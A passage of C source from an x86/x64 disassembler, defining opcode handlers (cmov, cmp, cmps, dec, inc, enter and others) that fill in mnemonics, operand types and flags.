    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovns ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm, 19);
}

// =======================================
//
// =======================================
void __stdcall cmovp_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovp ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm, 19);
}

// =======================================
//
// =======================================
void __stdcall cmovnp_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovnp ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm, 19);
}

// =======================================
//
// =======================================
void __stdcall cmovl_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovl ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm, 19);
}

// =======================================
//
// =======================================
void __stdcall cmovnl_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovnl ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm, 19);
}

// =======================================
//
// =======================================
void __stdcall cmovle_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovle ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm, 19);
}

// =======================================
//
// =======================================
void __stdcall cmovnle_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovnle ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm, 19);
}

// =======================================
//
// =======================================
void __stdcall cmpx_EbGb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpxchg ");
    EbGb(pMyDisasm);
    FillFlags(pMyDisasm,22);
}

// =======================================
//
// =======================================
void __stdcall cmpx_EvGv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpxchg ");
    EvGv(pMyDisasm);
    FillFlags(pMyDisasm,22);
}

// =======================================
//      38h
// =======================================
void __stdcall cmp_EbGb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp ");
    EbGb(pMyDisasm);
    (*pMyDisasm).Argument1.AccessMode = READ;
    FillFlags(pMyDisasm,20);
}

// =======================================
//      39h
// =======================================
void __stdcall cmp_EvGv(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp ");
    EvGv(pMyDisasm);
    (*pMyDisasm).Argument1.AccessMode = READ;
    FillFlags(pMyDisasm,20);
}

// =======================================
//      3ah
// =======================================
void __stdcall cmp_GbEb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp ");
    GbEb(pMyDisasm);
    (*pMyDisasm).Argument1.AccessMode = READ;
    FillFlags(pMyDisasm,20);
}

// =======================================
//      3bh
// =======================================
void __stdcall cmp_GvEv(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp ");
    GvEv(pMyDisasm);
    (*pMyDisasm).Argument1.AccessMode = READ;
    FillFlags(pMyDisasm,20);
}

// =======================================
//      3ch
// =======================================
void __stdcall cmp_ALIb(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp ");
    ALIb(pMyDisasm);
    (*pMyDisasm).Argument1.AccessMode = READ;
    FillFlags(pMyDisasm,20);
}

// =======================================
//      3dh
// =======================================
void __stdcall cmp_eAX_Iv(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp ");
    eAX_Iv(pMyDisasm);
    (*pMyDisasm).Argument1.AccessMode = READ;
    FillFlags(pMyDisasm,20);
}

// =======================================
//      a6h
// =======================================
void __stdcall cmpsb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + STRING_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpsb ");
    (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument1.Memory.BaseRegister = REG7;
    (*pMyDisasm).Argument1.AccessMode = READ;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument2.ArgSize = 8;
    (*pMyDisasm).Argument2.Memory.BaseRegister = REG6;
    FillFlags(pMyDisasm,21);
    EIP_++;
}

// =======================================
//      a7h
// =======================================
void __stdcall cmps_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + STRING_INSTRUCTION;
    (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument1.Memory.BaseRegister = REG7;
    (*pMyDisasm).Argument1.AccessMode = READ;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument2.Memory.BaseRegister = REG6;
    if (Architecture == 64) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpsq ");
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpsd ");
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpsw ");
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgSize = 16;
    }
    FillFlags(pMyDisasm,21);
    EIP_++;
}

// =======================================
//      98h
// =======================================
void __stdcall cwde_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
    if (OperandSize == 64) {
        if (SYNTAX_ == ATSyntax) {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cltq ");
        }
        else {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cdqe ");
        }
        (*pMyDisasm).Argument1.ArgSize = 64;
    }
    else if (OperandSize == 32) {
        if (SYNTAX_ == ATSyntax) {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cwtl ");
        }
        else {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cwde ");
        }
        (*pMyDisasm).Argument1.ArgSize = 32;
    }
    else {
        if (SYNTAX_ == ATSyntax) {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cbtw ");
        }
        else {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cbw ");
        }
        (*pMyDisasm).Argument1.ArgSize = 16;
    }
    EIP_++;
}

// =======================================
//      f8h
// =======================================
void __stdcall clc_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + FLAG_CONTROL_INSTRUCTION;
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "clc ");
    (*pMyDisasm).Argument1.ArgSize = 1;
    FillFlags(pMyDisasm, 14);
    EIP_++;
}

// =======================================
//      f8h
// =======================================
void __stdcall cld_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + FLAG_CONTROL_INSTRUCTION;
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cld ");
    (*pMyDisasm).Argument1.ArgSize = 1;
    FillFlags(pMyDisasm, 15);
    EIP_++;
}

// =======================================
//
// =======================================
void __stdcall cli_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + FLAG_CONTROL_INSTRUCTION;
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cli ");
    (*pMyDisasm).Argument1.ArgSize = 1;
    FillFlags(pMyDisasm, 16);
    EIP_++;
}

// =======================================
//      0fa2h
// =======================================
void __stdcall cpuid_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + MISCELLANEOUS_INSTRUCTION;
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG1 + REG2 + REG3;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cpuid ");
    (*pMyDisasm).Argument1.ArgSize = 32;
    EIP_++;
}

// =======================================
//
// =======================================
void __stdcall daa_(PDISASM pMyDisasm)
{

    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "daa ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 8;
        FillFlags(pMyDisasm,28);
        EIP_++;
    }

}

// =======================================
//
// =======================================
void __stdcall das_(PDISASM pMyDisasm)
{

    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "das ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 8;
        FillFlags(pMyDisasm,29);
        EIP_++;
    }

}

// =======================================
//      48h
// =======================================
void __stdcall dec_eax(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        if (!Security(0)) return;
        REX.W_ = 1;
        REX.R_ = 0;
        REX.X_ = 0;
        REX.B_ = 0;
        REX.state = InUsePrefix;
        EIP_++;
        NB_PREFIX++;
        (*pMyDisasm).Prefix.Number++;
        OperandSize = 64;
        (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
        (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
        OperandSize = 32;

    }
    else {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec ");
        if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
        EIP_++;
        FillFlags(pMyDisasm, 30);
    }
}

// =======================================
//      49h
// =======================================
void __stdcall dec_ecx(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        if (!Security(0)) return;
        REX.W_ = 1;
        REX.R_ = 0;
        REX.X_ = 0;
        REX.B_ = 1;
        REX.state = InUsePrefix;
        EIP_++;
        NB_PREFIX++;
        (*pMyDisasm).Prefix.Number++;
        OperandSize = 64;
        (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
        (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
        OperandSize = 32;

    }
    else {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec ");
        if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[1]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1+0];
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[1]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1+0];
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
        EIP_++;
        FillFlags(pMyDisasm, 30);
    }
}

// =======================================
//      4ah
// =======================================
void __stdcall dec_edx(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        if (!Security(0)) return;
        REX.W_ = 1;
        REX.R_ = 0;
        REX.X_ = 1;
        REX.B_ = 0;
        REX.state = InUsePrefix;
        EIP_++;
        NB_PREFIX++;
        (*pMyDisasm).Prefix.Number++;
        OperandSize = 64;
        (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
        (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
        OperandSize = 32;

    }
    else {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec ");
        if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[2]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+0];
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+0];
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
        EIP_++;
        FillFlags(pMyDisasm, 30);
    }
}

// =======================================
//      4bh
// =======================================
void __stdcall dec_ebx(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        if (!Security(0)) return;
        REX.W_ = 1;
        REX.R_ = 0;
        REX.X_ = 1;
        REX.B_ = 1;
        REX.state = InUsePrefix;
        EIP_++;
        NB_PREFIX++;
        (*pMyDisasm).Prefix.Number++;
        OperandSize = 64;
        (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
        (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
        OperandSize = 32;

    }
    else {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec ");
        if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[3]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+0];
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[3]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+0];
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
        EIP_++;
        FillFlags(pMyDisasm, 30);
    }
}

// =======================================
//      4ch
// =======================================
void __stdcall dec_esp(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        if (!Security(0)) return;
        REX.W_ = 1;
        REX.R_ = 1;
        REX.X_ = 0;
        REX.B_ = 0;
        REX.state = InUsePrefix;
        EIP_++;
        NB_PREFIX++;
        (*pMyDisasm).Prefix.Number++;
        OperandSize = 64;
        (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
        (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
        OperandSize = 32;

    }
    else {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec ");
        if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[4]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+0];
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[4]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+0];
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
        EIP_++;
        FillFlags(pMyDisasm, 30);
    }
}

// =======================================
//      4dh
// =======================================
void __stdcall dec_ebp(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        if (!Security(0)) return;
        REX.W_ = 1;
        REX.R_ = 1;
        REX.X_ = 0;
        REX.B_ = 1;
        REX.state = InUsePrefix;
        EIP_++;
        NB_PREFIX++;
        (*pMyDisasm).Prefix.Number++;
        OperandSize = 64;
        (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
        (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
        OperandSize = 32;

    }
    else {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec ");
        if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[5]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+0];
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[5]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+0];
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
        EIP_++;
        FillFlags(pMyDisasm, 30);
    }
}

// =======================================
//      4eh
// =======================================
void __stdcall dec_esi(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        if (!Security(0)) return;
        REX.W_ = 1;
        REX.R_ = 1;
        REX.X_ = 1;
        REX.B_ = 0;
        REX.state = InUsePrefix;
        EIP_++;
        NB_PREFIX++;
        (*pMyDisasm).Prefix.Number++;
        OperandSize = 64;
        (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
        (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
        OperandSize = 32;

    }
    else {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec ");
        if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[6]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+0];
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[6]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+0];
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
        EIP_++;
        FillFlags(pMyDisasm, 30);
    }
}

// =======================================
//      4fh
// =======================================
void __stdcall dec_edi(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        if (!Security(0)) return;
        REX.W_ = 1;
        REX.R_ = 1;
        REX.X_ = 1;
        REX.B_ = 1;
        REX.state = InUsePrefix;
        EIP_++;
        NB_PREFIX++;
        (*pMyDisasm).Prefix.Number++;
        OperandSize = 64;
        (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
        (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
        OperandSize = 32;

    }
    else {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec ");
        if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[7]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+0];
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[7]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+0];
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
        EIP_++;
        FillFlags(pMyDisasm, 30);
    }
}

// =======================================
//      0c8h
// =======================================
void __stdcall enter_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "enter ");
    (void) CopyFormattedNumber ((char*) (*pMyDisasm).Argument1.ArgMnemonic,"%.4X", *((WORD*) (EIP_+1)));
    (*pMyDisasm).Argument1.ArgSize = 16;
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (void) CopyFormattedNumber ((char*) (*pMyDisasm).Argument2.ArgMnemonic,"%.2X", *((BYTE*) (EIP_+3)));
    (*pMyDisasm).Argument2.ArgSize = 8;
    (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    EIP_+=4;
}

// =======================================
//
// =======================================
void __stdcall femms_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = AMD_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "femms ");
    EIP_++;
}

// =======================================
//
// =======================================
void __stdcall hlt_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "hlt ");
    EIP_++;
}

// =======================================
//
// =======================================
void __stdcall invd_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "invd ");
    EIP_++;
}

// =======================================
//      40h
// =======================================
void __stdcall inc_eax(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        if (!Security(0)) return;
        REX.W_ = 0;
        REX.R_ = 0;
        REX.X_ = 0;
        REX.B_ = 0;
        REX.state = InUsePrefix;
        EIP_++;
        NB_PREFIX++;
        (*pMyDisasm).Prefix.Number++;
        (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
        (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
        OperandSize = 32;

    }
    else {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc ");
        if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
        EIP_++;
        FillFlags(pMyDisasm, 40);
    }
}

// =======================================
//      41h
// =======================================
void __stdcall inc_ecx(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        if (!Security(0)) return;
        REX.W_ = 0;
        REX.R_ = 0;
        REX.X_ = 0;
        REX.B_ = 1;
        REX.state = InUsePrefix;
        EIP_++;
        NB_PREFIX++;
        (*pMyDisasm).Prefix.Number++;
        (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
        (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
        OperandSize = 32;

    }
    else {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc ");
        if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[1]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1+0];
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[1]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1+0];
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
        EIP_++;
        FillFlags(pMyDisasm, 40);
    }
}

// =======================================
//      42h
// =======================================
void __stdcall inc_edx(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        if (!Security(0)) return;
        REX.W_ = 0;
        REX.R_ = 0;
        REX.X_ = 1;
        REX.B_ = 0;
        REX.state = InUsePrefix;
        EIP_++;
        NB_PREFIX++;
        (*pMyDisasm).Prefix.Number++;
        (*pMyDisasm).Instruction.Opcode = *((BYTE*) EIP_);
        (void) opcode_map1[*((BYTE*) EIP_)](pMyDisasm);
        OperandSize = 32;

    }
    else {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc ");
        if (OperandSize == 32) {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[2]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+0];
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+0];
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
        EIP_++;
        FillFlags(pMyDisasm, 40);
    }
}

// =======================================
//      43h
// =======================================
void __stdcall inc_ebx(PDISASM pMyDisasm)
{
    if (Architecture == 64) {
        if (!Security(0)) return;
